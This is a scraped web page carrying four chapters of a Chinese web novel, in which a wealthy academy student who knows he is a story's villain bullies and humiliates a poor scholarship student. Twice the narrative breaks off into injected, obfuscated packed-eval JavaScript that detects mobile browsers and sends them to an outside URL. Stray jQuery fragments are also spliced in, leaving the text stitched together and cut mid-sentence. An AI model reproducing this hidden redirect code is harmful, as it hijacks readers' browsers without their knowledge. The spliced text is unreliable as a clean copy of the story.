《恶毒美人翻车以后(快穿)》 1. 第 1 章 圣帝安学院的走廊总是铺满阳光。 细碎的金色从彩绘玻璃上滤下来,落在祁云照的肩上,衬得他整个人矜贵得刺眼。 他走得不紧不慢,身后跟着三两个朋友。 说是朋友,倒更像是随从。 他们恰到好处地落后半步。 “云照,你今天的领针……” 陆承昀的声音卡在喉咙里。 那双总是含笑的眼睛此刻微微睁大,像是被什么摄住了心神。 祁云照转头看他。 “怎么?”他故意用指尖碰了碰领针。 声音惊醒了发呆的陆承昀,对方耳尖突然泛起可疑的红色。 “没、没什么。”陆承昀慌乱地收回手,“就是觉得……这领针很适合你。” 周围响起几声心照不宣的轻笑。 祁云照习以为常地勾起嘴角。 “云照,下周慈善晚宴的席位……” 学生会副主席凑过来请示,平板电脑上显示着座位表。 祁云照漫不经心地用手指在屏幕上划了几下,几个名字立刻被调换到边缘位置。 “这些暴发户也配坐主桌?”他嗤笑一声,手指在某位矿业大亨千金的照片上敲了敲,“她父亲前两年还在给我们的赛马场运草料。” 众人又是一阵哄笑。 祁云照享受着这种众星捧月的感觉,没注意到陆承昀再次失神的目光。 阳光恰好斜斜地切过祁云照的侧脸,勾勒出他脸的轮廓,睫毛在眼下投下一小片阴影。 陆承昀喉结滚动了一下,猛地回神,耳根发烫。 就在这时,他脑海里突然响起机械的电子音: 【检测到世界主角褚含舟位于东侧走廊尽头】 【当前痛苦值:57/100】 【建议立即前往查看】 祁云照的动作微不可察地顿了一下。 这个自称“反派系统”的东西已经纠缠他一个月了。 它声称这个世界是一本小说,而他的角色是最终会被主角报复的恶毒反派。 “云照?”陆承昀注意到他的异常。 “没事。”祁云照开口,“我去图书馆拿本书。” 他转身,身后立刻有人要跟上,被他一个手势制止。 系统还在脑子里喋喋不休: 【主角正在被几名学生围殴】 【根据原著剧情,这是你们第一次正面交锋】 【请保持人设完成羞辱戏码】 祁云照在心里冷笑。 不用系统提醒,他早就知道褚含舟这个人。 那个靠教会施舍混进圣帝安的贫困生。 拐角处的打闹声越来越清晰。 “下城区的老鼠也配进圣帝安?” “知不知道我这个领结比你命都贵?” 祁云照不紧不慢地转过廊柱。 几个穿着高年级制服的学生围成一圈,其中一人正抓着谁的头发往墙上撞。 “砰”的一声,那个瘦削的身影被掼在玻璃上。阳光透过玻璃投在他脸上,祁云照这才看清被围殴的人。 他半跪在地上,衬衫领口被扯开了一道口子,露出锁骨上的一片淤青。 嘴角破了,血丝顺着下巴滑下来,滴在洗得发白的校服上。 但最引人注目的是那双眼睛,黑得像是看不到底的黑夜。 此刻正因突如其来的光线眯起。 褚含舟。 有人揪着褚含舟的头发,迫使他抬头。 就在这一瞬间,褚含舟的视线和祁云照的对上了。 祁云照站在光里,而他跪在阴影中。 褚含舟的瞳孔微微收缩了一下。 那双黑眼睛里闪过一丝希冀,手指无意识地向前伸了伸,像是溺水者看到浮木。 这个动作取悦了祁云照,他慢条斯理地向前走去。 几个施暴者这才发现有人靠近。 为首的红发男生脸色骤变,立刻松开揪着褚含舟头发的手:“祁、祁少!我们只是……” “继续。”祁云照在距离他们还有几米远的地方站定,从口袋里掏出烟盒。 打火机“咔嗒”一声响,烟的气息立刻混入血腥味中。 他吐出一口烟雾,看着褚含舟眼里的光一点点熄灭。 红发男生愣住了,随即露出谄媚的笑容:“您说得对!这种贱民就该……” 他抡起拳头又要砸下,却被祁云照抬手制止。 “我说继续。”祁云照用烟头点了点地面,“你,跪着打。” 空气瞬间凝固。 褚含舟猛地抬头,那双眼睛终于燃起祁云照期待的怒火。 但更让他愉悦的是对方随即流露出的困惑。 这个可怜虫居然还在天真地思考为什么素未谋面的人会对自己怀有恶意。 红发男生已经跪下了,拳头砸向褚含舟腹部。祁云照欣赏着褚含舟因疼痛蜷缩的样子,这家伙居然在这种时候也死死咬着嘴唇不肯出声 “知道他们为什么找你吗?”祁云照终于开口。 他蹲下身,烟灰随意地弹在褚含舟的手背上,“圣帝安的奖学金是为精英准备的。” 褚含舟的瞳孔骤然收缩。 这是奖学金答辩会上评委的评语,此刻从祁云照嘴里说出来,意味着什么不言而喻。 “不是给你这种……”祁云照用手捏住他的下巴,强迫他抬头。 这个角度让他能清楚看到对方脸上沾的血珠,“……靠慈善名额混进来的垃圾。” 他说“垃圾”两个字时,故意凑近褚含舟耳边。温热的呼吸喷在褚含舟耳尖上,满意地感受到掌下的身体剧烈颤抖起来。 但当他退开时,却发现褚含舟正死死盯着他的脸,那种眼神很难形容。 像是要把他的五官刻进骨髓里,又像是要用目光在他脸上烧出两个洞来。 祁云照突然很想笑。 他知道自己长得好看,父亲总说这副皮相是“祁家几百年优生学的结晶”。 不过……被一个满脸是血的穷鬼用这种眼神看着…… 他感到某种扭曲的快感。 “看什么?”他站起身,用鞋尖挑起褚含舟的下巴,“下城区没镜子?你这种家伙,看别人时不需要自己照一下镜子吗?” 褚含舟的嘴唇动了动。 祁云照以为他会求饶或者咒骂,没想到听到的却是质问:“……为什么?” 这个问题太过天真,祁云照忍不住笑出声来。 他转头看向那几个施暴者:“告诉他,圣帝安第一条校规是什么?” “阶级混淆是最大的不洁!” 红发男生条件反射般回答。 祁云照赞许地看了他一眼。 “听到了?”祁云照转回视线,发现褚含舟的目光还黏在自己脸上。 那种目光让他莫名烦躁,他突然抓住对方头发狠狠往后一拽:“再看就把你眼珠子挖出来。” 头皮撕裂的疼痛终于让褚含舟闭上眼睛。 祁云照松开手,转身离开时,系统在脑海里发出提示: 【主角痛苦值:89/100】 【仇恨值:75/100】 【警告:仇恨值增长过快】 祁云照在心里冷笑。 他最后回头看了一眼。 阳光透过彩窗照在褚含舟弓起的脊背上,隐约可见凸起的脊椎骨。 确实是块硬骨头。 不过……更像条垂死的狗。 祁云照想着,突然注意到对方眼睛正直勾勾盯着自己离去的方向。 即使隔着这么远,他也能感受到那视线里的重量。 不是恐惧,不是哀求,而是某种更加炽热、更加危险的东西。 这个发现让他后颈的汗毛微微竖起,但随即化为更强烈的兴奋。 【警告!宿主行为严重偏离原剧情!】 系统发出刺耳的警报声。 祁云照在脑海中嗤笑一声。 谁规定他必须按照那个可笑的剧本走? 既然注定是反派,那不如做个彻头彻尾的反派。 【宿主,您刚才的行为将导致剧情线严重偏离。】 祁云照走过拐角,确认四周无人后,才懒洋洋地回应:“那又如何?” 【按照原剧情,褚含舟……】 “无聊。”祁云照打断它的话,“既然知道自己是书中人物,为什么还要按别人的剧本活?” 祁云照走出储物间没多久,口袋里的手机震动起来。 屏幕上显示“父亲”。 “爸。”他接起电话。 “云照,下周的慈善晚宴你必须出席。” 祁父的声音传来,“董事会需要这个形象工程。” 祁云照漫不经心地抬眼:“我以为您知道 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圣帝安贵族学院的学生宿舍分为四个等级,而祁云照住的“A区”是最高规格的独立院落。 穿过庭院,推开大门,室内的冷气立刻扑面而来。 客厅里,褚含舟正坐在沙发边缘处理额角的伤口。 听到开门声,他猛地抬头,然后整个人像只受惊的野猫般绷紧了身体。 祁云照站在门口,慢条斯理地打量着这个闯入他领地的不速之客。 宿舍管理员显然已经带褚含舟搬过来了,他脚边放着一个破旧的帆布包,身上换了一件明显大一号的干净制服。 八成是学校临时发的。 “谁允许你坐在那里的?” 祁云照开口。 褚含舟立刻站了起来,手里的棉签掉在地毯上,留下一个刺目的红点。 祁云照的目光落在那点血迹上,眉头微皱。 “对不起。宿舍管理处的老师说我可以暂时住在这里……” 褚含舟的声音压得很低。 祁云照没有回答。 他径直走到沙发旁,从纸巾盒中抽出一张消毒湿巾,仔细擦拭褚含舟刚才坐过的地方,然后将湿巾扔进垃圾桶。 “你的房间在走廊尽头。”祁云照终于开口,“未经允许,不准进入客厅、书房和我的卧室。明白了吗?” 褚含舟的喉结动了动:“明白了。” 祁云照拿出手机,拨通了一个号码:“林管家,把欢欢送过来……对,就现在。” 挂断后,他似笑非笑地看着褚含舟。 不到十分钟,一辆黑色轿车停在院外。 司机牵着一只纯白的萨摩耶走进来,欢欢一看到祁云照就兴奋地扑过来,雪白的毛发在阳光下闪闪发亮。 “乖孩子。”祁云照揉了揉欢欢的脑袋,然后看向褚含舟,“你的床铺,从今晚开始归欢欢。” 褚含舟的眼睛微微睁大:“什么?” “你的听力有问题?”祁云照轻笑,“我说,把你的床铺让给欢欢。它习惯了睡床,而你应该很习惯睡地板才对。” 他意有所指地看了眼褚含舟膝盖上的灰尘。 欢欢似乎察觉到气氛不对,歪着头看看主人,又看看陌生的少年。 褚含舟沉默了几秒,祁云照期待看到他愤怒或者屈辱的表情? 但出乎意料的是,少年只是平静地问:“那我的床品?” “储物间有备用被褥。”祁云照漫不经心地说,“不过你也可以选择滚回你的贫民窟。” 一阵沉默。 欢欢不安地呜咽了一声。 然后,褚含舟做了一件让祁云照完全没想到的事。 他蹲下身,向欢欢伸出手。 更令人惊讶的是,一向认生的欢欢居然小心翼翼地凑过去,嗅了嗅他的手指。 “它很漂亮。”褚含舟说,声音里听不出任何怨恨,“我可以帮忙照顾它。” 祁云照眯起眼睛。 这个反应…太不正常了。 按照他的预想,褚含舟应该愤怒、屈辱,甚至痛哭流涕。 “随你便。”祁云照最终冷冷地说,“但记住,欢欢的一根毛发比你整个人都值钱。” 2. 第 2 章 A区的宿舍虽是独立院落,内部却有着令人不快的局限。 整个院落只有一个洗漱室。 祁云照推开门,就嗅到了一股淡淡的消毒水味。 他站在门口,目光扫过盥洗台上摆放得整整齐齐的洗漱用品,眉头不自觉地皱起。 那些陌生的物件像一群不请自来的入侵者,占据了他原本一尘不染的领地。 一支廉价的牙刷,刷毛已经微微卷曲,旁边是一管挤得皱巴巴的牙膏,包装上印着超市常见的商标。 旁边还有一块肥皂,是用了许久的旧物。 祁云照的目光停留在这些东西上,咬了咬牙,很好…… 答应让那个家伙住进来,绝对是个错误的选择。 他讨厌这些东西的存在。 祁云照冷哼一声。 就在这时,洗漱室的门被推开,褚含舟走了进来。 少年还穿着那件明显不合身的制服,袖口松垮地垂在手腕上,露出瘦削的手臂。 额角的伤口已经结痂,泛着暗红色的痕迹。 褚含舟显然没料到会在这里撞见祁云照,脚步一顿,身体微不可察地绷紧。 “你在这干什么?”祁云照懒洋洋地开口,背靠着盥洗台,双手环胸,目光像刀子般刮过褚含舟的脸。 褚含舟的喉结动了动:“我……来拿洗漱用品。” “拿?”祁云照嗤笑,像是听到了什么好笑的笑话。 他慢条斯理地拿起那管皱巴巴的牙膏,晃了晃,“这些垃圾也配叫‘用品’?” 褚含舟的眼神暗了暗,但很快恢复平静。 他没有接话,只是默默走向盥洗台,伸手去拿自己的牙刷。 就在指尖即将触到牙刷时,祁云照的手更快一步,抢先将牙刷抓在手里。 “啧,脏死了。”祁云照嫌弃地皱眉,然后漫不经心地扔进旁边的垃圾桶。 牙刷撞击塑料桶壁,发出清脆的声响,在安静的洗漱室里格外刺耳。 褚含舟的手僵在半空,目光落在垃圾桶里,嘴唇抿成一条直线。 祁云照饶有兴致地观察着他的反应,期待看到愤怒、屈辱,或者任何能取悦他的情绪。 但褚含舟只是沉默了几秒,然后低头从帆布包里翻出一支新的牙刷,动作平静得像是什么也没发生。 祁云照的兴致莫名被浇了一盆冷水。 他眯起眼睛,语气里带上几分恶意:“你倒是挺能忍。” 褚含舟终于抬头,目光直直地撞进祁云照的眼里。 眼睛里没有愤怒,也没有屈辱,只有让人不安的平静。 祁云照突然感到一种莫名的烦躁,他讨厌这种无法掌控的感觉。 “笑一个。”祁云照突然说,声音里带着命令的味道。 褚含舟的嘴角动了动,最终却没有笑。 “我不会。” “不会?”祁云照轻笑,他向前迈了一步,逼近褚含舟,直到两人之间的距离只剩下一拳。 祁云照微微低头,鼻尖几乎要碰到褚含舟的额头,温热的呼吸喷在对方脸上,“那就学着点。像你这种垃圾,活着不就是为了讨好别人?” 褚含舟的身体僵硬了一瞬,但很快恢复了平静。 祁云照突然觉得无趣。 他退后一步,或许是为了掩饰情绪,他随手拿起盥洗台上的一瓶沐浴露,拧开盖子闻了闻,皱眉道:“廉价货。” 他将瓶子扔回台上,转身离开,留下褚含舟一个人站在原地。 洗漱室的门关上后,褚含舟站在原地,盯着盥洗台上散乱的洗漱用品,眼神晦涩。 他不知道自己为什么会鬼使神差地留下来。 他蹲下身,从垃圾桶里捡回那支被扔掉的牙刷,指尖在祁云照碰过的地方摩挲了一下,然后放回帆布包里。 接着,他拿起祁云照刚才碰过的那瓶沐浴露,拧开盖子,凑近鼻尖闻了闻。 不是这个味道。 他又拿起旁边的洗发水,打开,闻了闻。还是不对。 褚含舟的动作越来越慢。 他将盥洗台上属于祁云照的每一瓶洗液、每一管膏体都打开,逐一闻过。 薰衣草、柠檬、海洋…… 每一种气味都清晰,却没有一种是他今天记忆中的。 当时祁云照逼近他时,身上有股香气。 那是什么味道? 褚含舟的指尖停在一瓶香水上,瓶身是深蓝色,标签上写着外文。 他犹豫了一下,还是拧开了盖子。 气味扑鼻而来,带着点辛辣的木质调。 还是不对。 他将香水放回原位,眼神里闪过一丝迷茫。 褚含舟将所有瓶子盖好,放回原位。 …… 夜深了,宿舍里安静得能听见庭院外风吹过树叶的沙沙声。 祁云照穿着睡袍,手里捏这一杯红酒,慢悠悠地路过走廊尽头的侧卧。 他本没打算停留,但余光瞥到门缝里透出的微光,脚步不由自主地顿住。 他推开门,动作轻得像只猫。 房间里,褚含舟果然睡在地上。 一床薄被铺在地板上,少年蜷缩在上面,膝盖微微弯曲,像只无处可去的流浪狗。 嘴角的血痂已经干涸,泛着暗红色的光。 祁云照站在门口,目光落在褚含舟的背脊上。这家伙晚上居然还穿着校服? 那件 oversized 的制服松松垮垮地挂在身上,露出后颈的一小截皮肤,上面还有未消退的青紫痕迹。 他突然想起白天在走廊里,褚含舟被按在地上时的样子。 他以为褚含舟会反抗,至少会偷偷睡在床上,而不是真的老老实实地睡地板。 这样的顺从让他感到一种莫名的烦躁,像是一拳打在了棉花上。 祁云照的目光移到旁边的单人床上,欢欢正四仰八叉地睡着,雪白的毛发在灯光下闪着柔光。 它睡得香甜,偶尔还发出轻微的呼噜声。 祁云照突然觉得有点好笑,这个贫困生居然真的把床让给了他的狗。 他端起酒杯,抿了一口,猩红的酒液在舌尖留下微涩的余味。 他盯着褚含舟看了片刻,然后转身离开。 关门时,他故意让门锁发出清脆的“咔嗒”声。 褚含舟的身体在黑暗中微微动了动,但没有睁眼。 第二天清晨。 祁云照坐在靠窗的位置,教授在讲台上讲解着经济学理论,投影仪的光影在教室里跳跃,不过祁云照的心思显然不在课堂上。 他手指转着一支钢笔,目光偶尔扫过窗外,落在远处操场上奔跑的学生身上。 陆承昀坐在他旁边。 “云照,晚宴的礼服我已经让人准备好了,是今年的高定,你看要不要再调整?” 陆承昀推了推眼镜。 祁云照漫不经心地“嗯”了一声,目光却突然定住。 窗外,操场边的一个身影吸引了他的注意。 那人背对着他,正在慢跑。 瘦削的背影,微微佝偻的肩膀,像是随时会被风吹倒。 褚含舟。 祁云照的指尖顿住,钢笔在桌上轻轻敲了敲。他眯起眼睛,盯着那个身影看了片刻,然后收回视线,嘴角勾起一抹笑。 “云照?”陆承昀察觉到他的异样,顺着他的目光看去,“那是……那个贫困生?” 祁云照没有回答,只是将钢笔扔在桌上,起身道:“我去食堂。” 陆承昀愣了一下,忙跟上去:“现在?可还没下课……” “不想听。”祁云照头也不回地走出教室。 圣帝安的食堂分为两层,二楼是专供A区学生的私人区域,装潢如同五星级餐厅。 祁云照坐在靠窗的位置,面前摆着一份煎得恰到好处的菲力牛排,旁边是一杯冰镇的柠檬水。 他切下一小块牛排,送入口中,陆承昀和其他几个随从坐在旁边,低声讨论着学校的事,偶尔偷瞄祁云照的脸色。 祁云照的目光却不在餐桌上,而是随意地扫向窗外。 食堂一楼的露天区域人头攒动,普通学生在那里用餐,喧闹声隐约传来。 他正要收回视线,突然瞥到一个熟悉的身影。 又是褚含舟。 少年站在露天区域的角落,手里端着一盘简单的餐食。 几片面包和一碗蔬菜汤。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“你还真是块硬骨头。”祁云照轻笑,蹲下身,与褚含舟平视,“不过,太弱的玩具,玩起来也没意思。” 褚含舟的嘴唇动了动:“我不是你的玩具。” “哦?”祁云照挑眉,他伸手捏住褚含舟的下巴,强迫他抬头,指尖在他的淤青上轻轻摩挲,“那你是什么?一条狗?” 褚含舟的瞳孔微微收缩,身体僵硬了一瞬,但很快恢复平静。 他没有回答,只是静静地看着祁云照。 那眼神让祁云照莫名想到欢欢,那只萨摩耶在陌生人面前总是小心翼翼。 祁云照突然笑了。 他松开手,站起身,语气轻佻:“想不想当我的狗?” 周围的施暴者愣住了,褚含舟也愣住了。 “当我的狗,可不是谁都能行的。”祁云照慢条斯理地说,目光扫过那几个高年级学生,“要够凶,只能我欺负。明白了吗?” 褚含舟的喉结动了动,像是想说什么,但最终沉默。 他低头看向地上的餐盘,面包已经被踩得粉碎,蔬菜汤在地面上洇开一摊刺眼的绿色。 祁云照以为他会拒绝,或者至少流露出屈辱。但出乎意料的是,褚含舟突然动了。 他猛地起身,动作快得像只猎豹,抓住领头男生的衣领,狠狠将对方的脑袋按向旁边的人工湖。 湖水溅起一片水花,男生惊恐地挣扎,嘴里发出含糊的咒骂。 褚含舟的动作毫不留情,手臂上的青筋暴起,眼神冷得像冰。 其他两个施暴者吓傻了,呆呆地站在原地,连上前阻止的勇气都没有。 祁云照眯起眼睛,嘴角的笑意更深了。 他双手插兜,站在一旁。 “放手!”领头男生终于挣脱,狼狈地爬上岸,气急败坏地吼道,“你他妈疯了?!” 褚含舟没有回答,只是冷冷地看了他一眼,然后转头看向祁云照。 满意了吗? 祁云照突然觉得心跳加快了一瞬。 他上前一步,拍了拍褚含舟的肩膀:“不错,比我想象中凶。” 褚含舟的身体僵硬了一瞬,但没有躲开。 “不过……”祁云照凑近他的耳边,开口,“当我的狗,可不是只凶就够了。得学会讨好我。” 他退后一步,欣赏着褚含舟眼底闪过的羞恼。 系统又一次在他脑海里尖叫着警告。 “走吧。”祁云照转身,头也不回地朝食堂二楼走去,“别让我等太久,狗崽子。” 3. 第 3 章 祁云照站在食堂二楼的栏杆边,俯视着楼下。那群玩意儿果然……没让褚含舟走掉。 他又走下楼。 “祁少,那小子活该,您看要不要——”红发男生谄媚地凑过来,话未说完,就被祁云照一记冷眼钉在原地。 “谁准你们动他的?”祁云照的声音很轻,却让周围瞬间安静。 红发男生脸色一僵:“不、不是您说……” “我说什么了?”祁云照轻笑,“我可以动,可没让你们——擅自碰我的东西。” 最后几个字咬得极重,红发男生的冷汗瞬间下来了。 祁云照没再看他,周围的自动让开一条路,他走到褚含舟面前,居高临下地打量着他。 少年低着头,校服领口被扯开一道口子,锁骨上的淤青在阳光下格外刺眼。 身上伤口不少,可脊背却挺得笔直,像是无论如何都不肯弯下去。 祁云照忽然笑了。 他伸手捏住褚含舟的下巴,强迫他抬头:“怎么,不谢谢我?” 褚含舟的睫毛颤了颤,黑沉沉的眼睛望过来,里面既没有感激,也没有愤怒,只有一种近乎麻木的平静。 祁云照的指尖微微用力,在他下巴上留下一道红痕:“哑巴了?” “……谢谢。”褚含舟的声音很低,像是从牙缝里挤出来的。 祁云照松开手,嫌弃地擦了擦指尖,转身对红发男生勾了勾手指:“过来。” 红发男生战战兢兢地走近:“祁、祁少……” “我刚刚在上面,听到你和旁边的说,你被野狗咬了?” 祁云照轻笑,眼神却冷得像冰,“那现在,你是不是该给我的狗,道个歉?” “是野狗吗?” 红发男生的脸瞬间惨白。 周围一片死寂,所有人都屏住了呼吸。 褚含舟猛地抬头,瞳孔微微收缩,像是没想到祁云照会这么说。 祁云照欣赏着他的表情,慢条斯理地补充:“当然,如果你觉得委屈……” 他顿了顿,嘴角勾起一抹恶劣的笑,“我可以赔你医药费。” 红发男生哪敢接话,连忙鞠躬:“对、对不起!是我嘴贱!” 祁云照没再理他,转身往宿舍方向走去,丢下一句:“跟上。” 这次没人敢继续为难褚含舟,褚含舟沉默地跟在他身后,两人一前一后穿过校园,谁都没有说话。 祁云照推开大门,冷气扑面而来。 他脱下外套随手扔在沙发上,转身看向站在门口的褚含舟:“关门。” 褚含舟照做,手指在门把上停顿了一瞬,像是犹豫要不要锁上。 祁云照嗤笑:“怎么,怕我吃了你?” 褚含舟收回手,垂着眼走到客厅中央,站得笔直,像在等待审判。 祁云照打量着他,忽然觉得有些无趣。 他指了指浴室:“去洗干净,你身上有味道。” 褚含舟的指尖蜷了蜷,转身走向浴室。 水声响起,祁云照坐在沙发上,随手打开电视,却什么都没看进去。 系统的警告声在脑海中喋喋不休: 【警告!宿主行为严重偏离原剧情!】 【主角仇恨值异常波动!当前数值:72/100】 【请立即纠正!否则结局将无法挽回!】 祁云照冷笑:“闭嘴。” 系统不甘心地安静下来。 怎么办啊!遇到一个油盐不进的!! 二十分钟后,褚含舟从浴室出来,头发还滴着水,身上套着一件明显大一号的浴袍。 这个是宿舍准备的备用衣物。 祁云照抬了抬下巴:“过来。” 褚含舟走到他面前,浴袍领口松松垮垮,露出身上未消的淤青。 祁云照的视线在那片痕迹上停留了一秒,忽然伸手拽住他的衣领,将他拉近。 “知道当我的狗,第一要守的规矩是什么吗?”他压低声音,呼吸几乎拂在褚含舟耳畔。 褚含舟的身体僵硬了一瞬,但没有躲开。 “——只有我能动你。”祁云照松开手,向后靠在沙发上,懒洋洋地补充,“别人碰你一根手指,你就该咬断他的手,明白吗?” 褚含舟的喉结动了动,低声道:“……明白了。” 祁云照满意地笑了。他抬脚踢了踢褚含舟的小腿:“去煮粥,我胃疼。” 褚含舟转身走向厨房,手指搭在橱柜边缘。 冰箱里的食材不多,毕竟祁云照不是会自己做饭的人。 所以里面只有几颗鸡蛋,半盒牛奶,一小袋米,还有一些简单的调味料。 他沉默地取出需要的材料,动作利落地淘米、点火。 水在锅中渐渐沸腾,米粒翻滚,褚含舟盯着那圈小小的气泡,眼神有些空。 祁云照不知何时走到了厨房门口,斜倚在门框上,手里把玩着一枚打火机,开合间发出清脆的“咔嗒”声。 “会煮粥?”他问,语气里带着点嘲弄,“贫民窟还教这个?” 褚含舟没有回头,只是用勺子缓缓搅动粥底:“我弟弟胃不好。” 祁云照挑眉,没想到会得到这样的回答。 他走近一步,忽然伸手握住褚含舟的手腕,力道不轻不重,刚好能让人挣脱不得。 “你倒是挺会照顾人。”他的手在褚含舟腕骨上摩挲了一下,触到一道疤。 根据祁云照的了解,除了割腕自杀,不会有这种疤,但还是问:“这也是为了弟弟?” 褚含舟的手僵了一瞬,随即继续搅粥:“不是。” 祁云照嗤笑一声,松开手,转而从背后贴近,下巴几乎搁在褚含舟肩上。 他嗅了嗅空气中渐渐弥漫的米香,忽然觉得这味道意外地令人安心。 “加姜。”他命令道。 褚含舟顿了顿,从一旁的架子上取下一小块姜,洗净切片,动作熟练得像做过无数次。 祁云照盯着他的侧脸,忽然发现他的睫毛很长。 粥渐渐变得粘稠,褚含舟关火,盛出一碗,撒上少许葱花。 他转身时,祁云照仍站在原处,两人之间的距离近得几乎能感受到彼此的呼吸。 褚含舟微微偏头,避开他的视线:“好了。” 祁云照接过碗,指尖故意擦过他的手背,如愿以偿地看到他的睫毛颤了颤。 就在这时,手机铃声突兀地响起。 祁云照皱眉,掏出手机看了一眼屏幕。 是陆承昀。 他按下接听键,语气不耐:“说。” “云照,马场那边出了点问题。”陆承昀的声音透过话筒传来,带着几分急切,“那匹新到的纯血马不肯让人近身,已经踢伤了驯马师。” 祁云照的眼底闪过一丝兴味:“我马上过去。” 他挂断电话,随手将粥碗放在料理台上,转身走向玄关。 褚含舟站在原地,目光落在那碗粥上,表情晦暗不明。 “别浪费。”祁云照头也不回地丢下一句,推门离开。 夕阳西下,马场的沙地被染成金色。 祁云照站在围栏边,看着场中那匹通体漆黑的骏马。 它高昂着头,鬃毛在风中飞扬,马蹄不安地刨着地面,显然处于极度戒备状态。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|15612257|172174||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陆承昀擦了擦额角的汗:“试了几次都没用,再这样下去只能……” “闭嘴。”祁云照打断他,单手撑过围栏,径直走向那匹马。 所有人都屏住了呼吸。 黑马察觉到有人靠近,立刻竖起耳朵,鼻孔张大,发出警告的喷气声。 祁云照却丝毫不惧,脚步未停,直到与它仅一步之遥。 “嘘……”他伸出手,“别怕。” 黑马警惕地盯着他,肌肉紧绷,随时可能暴起。 祁云照的指尖终于触到它。 奇迹般地,马渐渐安静下来。 陆承昀目瞪口呆:“这……怎么可能?” 祁云照轻笑,拍了拍马颈:“野性难驯的东西,往往最讨厌畏缩的人。” 他翻身上马,黑马只是微微躁动,很快,迈开步子。 一直在马场待到晚上,祁云照才回去。 祁云照推开大门,客厅里只亮着一盏壁灯,欢欢趴在沙发上睡得正熟,听到动静也只是耳朵动了动,没有醒来。 他的目光扫向走廊尽头的侧卧。 门缝里透出一线微光。 他脱下外套随手扔在沙发上,径直走向侧卧,推开门时故意弄出些声响。 褚含舟正坐在地铺看书,听到声音立刻抬头。 祁云照靠在门框上,目光在褚含舟身上停留了片刻。 “过来。”祁云照勾了勾手指,语气轻佻。 褚含舟沉默地走到他面前,垂着眼。 祁云照突然伸手捏住他的下巴,强迫他抬头:“今天表现不错,不过……” 他拇指在褚含舟脸上的淤青处按了按,满意地看到对方因为疼痛眉头微皱。 “下次再让我等这么久才过来,可就没这么简单了。” 褚含舟的喉结动了动:“知道了。” 祁云照松开手:“蹲下。” 褚含舟愣了一下,但还是照做了。 他单膝跪地,姿态僵硬,不太习惯这样的姿势。 祁云照瞥了他一眼,轻笑一声:“不是这样。” 他按住褚含舟的肩膀,将他整个人压得更低,“像这样,明白吗?” 褚含舟的背脊绷紧了,但最终没有反抗。 他调整姿势,跪在地上,双手垂在身侧。 祁云照居高临下地看着他,伸手揉了揉他的头发,动作随意得像在抚摸一只宠物狗。 褚含舟的发丝意外地柔软,触感让他觉得舒服。 “这才对。”祁云照的声音里带着几分愉悦。 “对了!那碗粥……你喝了?”祁云照突然想起这个。 褚含舟:“没有。” 祁云照挑眉:“为什么?” “凉了。”褚含舟平静地回答,“对胃不好。” 空气一时凝固。 这么没头没尾的话,祁云照却听懂了。 褚含舟没回答他问的为什么,只是说了一下粥的状态。 但祁云照一时也不想深究褚含舟为什么没喝了。 祁云照:“所以你在等我回来,重新煮?” 褚含舟没有回答,但他的沉默已经说明一切。 祁云照蹲下身,与他平视,伸手捏住他的下巴:“这么乖?” 褚含舟的呼吸微微乱了,但眼神依旧平静。 祁云照的拇指擦过他的下唇,触感柔软得令人意外。 “去煮粥。”他松开手,命令道,“这次看着我吃完。” 褚含舟站起身,走向厨房。 祁云照望着他的背影,忽然觉得—— 今晚的月色,似乎格外明亮。 4. 第 4 章 厨房的灯光将褚含舟的影子拉得很长。 他盯着灶台上重新沸腾的粥,米粒在滚水中翻涌,就好像他此刻混乱的思绪。 褚含舟自己都不知道自己在想什么……很荒谬的一天? 祁云照就倚在门框上。 “加些山药。”祁云照突然开口,声音里带着命令式的慵懒。 褚含舟的手指收紧,但面无表情,他沉默地拉开橱柜,里面果然躺着几根新鲜山药。 这显然不是祁云照会准备的食材,大概是管家定期补充的。 刀刃切入山药的脆响在安静的厨房里格外清晰,他削皮的动作很利落。 祁云照的目光像蛇一样缠绕在他背上。 褚含舟能感觉到那道视线在自己后面,带着令人不适的探究。 他强迫自己专注于手中的活计,将山药切成薄片,一片一片投入锅中。 “刀工不错。”祁云照漫不经心地评价,突然走近一步。 褚含舟的肩胛骨微微绷紧。 祁云照靠得太近了,近到他甚至能闻到对方身上那股若有若无的香气。 不是香水,更像是某种昂贵的沐浴露混着与生俱来的体香。 莫名的,他又想起白天自己在洗漱室搜寻。 “说话。”祁云照的手指捏住他后颈。 “嗯。”褚含舟简短地回应,声音低得几乎听不见。 祁云照轻笑一声,那笑声里带着显而易见的嘲弄。 他伸手从褚含舟背后绕过,指尖在粥面上轻轻一点,立刻被烫得缩回。 “太烫了。”他抱怨道,然后将沾了粥液的手指直接抹在褚含舟的耳垂上。 褚含舟猛地转头,黑沉沉的眼睛里闪过一丝怒意。 祁云照期待地看着他,等待一场爆发,但少年只是深吸一口气,转身将火调小,用木勺缓缓搅动粥底。 无趣。 祁云照撇了撇嘴,胃部突然传来一阵尖锐的疼痛。 他皱了皱眉,下意识按住上腹,指节因用力而发白。 这该死的胃病,偏偏在这时候发作。 “马上就好。” 褚含舟头也不回地说。 祁云照没有回应,他咬着牙退回客厅,将自己扔进沙发。 欢欢立刻凑过来,湿漉漉的鼻子蹭着他的手心。 他粗暴地揉了揉萨摩耶的脑袋,换来一声委屈的呜咽。 疼痛像潮水一样一波波袭来。 祁云照蜷缩起来,额头渗出细密的汗珠。 他想起上次看医生…… “再这样不规律饮食,下次就不只是胃痉挛这么简单了。” 但谁在乎呢? 他冷笑一声,随即被一阵剧痛击中,闷哼出声。 “喝点温水。” 一个声音在头顶响起。 祁云照睁开眼,看到褚含舟站在面前,手里端着一杯水。 少年逆光而立,面容隐在阴影里,看不清表情。 祁云照想讽刺几句,但疼痛让他失去了逞强的力气。 